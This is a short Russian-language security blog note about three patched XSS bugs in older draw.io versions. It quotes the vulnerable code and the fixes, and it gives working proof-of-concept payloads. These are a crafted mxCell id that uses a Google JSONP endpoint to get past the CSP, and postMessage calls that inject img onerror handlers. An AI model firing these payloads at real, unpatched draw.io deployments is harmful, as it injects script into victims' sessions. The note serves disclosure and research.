все заметки
[ru / en]

XSS в draw.io

2026.04.04

Это три XSS в версиях 2024 года. Такие версии встречаются на пути, но о них нигде не сказано.

≤ v24.7.15

В режиме разработчика (параметр ?dev=1) при наведении на ячейку нет фильтра для ID (github):

tip += ((tip.length > 0) ? '
' : '') + 'id=' + cell.id + '
';

Но проблема в том, что в этом режиме добавляется Content Security Policy (CSP):

script-src https://www.dropbox.com https://api.trello.com 'unsafe-eval' 'self' https://viewer.diagrams.net https://apis.google.com https://*.pusher.com

Поэтому события (on*event*) не работают, только скрипты из указанных доменов.

Но на apis.google.com есть же JSONP для этого: /complete/search?client=chrome&q=alert(origin)//&callback=setTimeout

И так как используется innerHTML, то для внедрения нагрузки нужно script[src] запихивать в iframe[srcdoc] (заметка об этом).

Итого имеем что-то подобное:

<mxCell id="&lt;iframe srcdoc='&lt;script src=&quot;https://apis.google.com/complete/search?client=chrome&amp;q=alert(origin)//&amp;callback=setTimeout&quot;>&lt;/script>'>&lt;/iframe>" />
Исправлено в версии v24.7.16:
tip += ((tip.length > 0) ? '
' : '') + 'id=' + mxUtils.htmlEntities(cell.id) + '
';

Далее похожие XSS не требующие никаких действий от пользователя.

Если открыть draw.io с параметрами ?client=1&proto=json, то появляется возможность взаимодействовать с этим окном с помощью сообщений (postMessage).

≤ v23.1.4

При сообщении data.action == 'dialog' и существовании messageKey нет преобразований в сущности:

(data.messageKey != null) ? mxResources.get(data.messageKey) : mxUtils.htmlEntities(data.message)

А mxResources.get возвращает текущее значение если не найдены данные по этому ключу. Далее это сообщение выводится через функцию ErrorDialog в которой голый innerHTML (github):

p2.innerHTML = message;

Вот и посылаем этому окну нашу нагрузку:

postMessage('{"action":"dialog","titleKey":"ALERT","messageKey":"<img/src/onerror=alert(origin)>"}','*')

Исправлено в версии v23.1.5:

p2.innerHTML = Graph.sanitizeHtml(message);

≤ v23.0.2

Почти то же самое что и предыдущая XSS. Но сообщение другое: data.action == 'spinner'.

Здесь вообще нет никаких преобразований для любого значения:

(data.messageKey != null) ? mxResources.get(data.messageKey) : data.message;

А в показе спиннера такой же innerHTML без фильтров (github):

status.innerHTML = label;

Итого имеем такие сообщения:

postMessage('{"action":"spinner","messageKey":"<img/src/onerror=alert(origin)>"}','*')\npostMessage('{"action":"spinner","message":"<img/src/onerror=alert(origin)>"}','*')

Исправлено в версии v23.1.0:

status.innerHTML = mxUtils.htmlEntities(label);
еще по темам: xss, javascript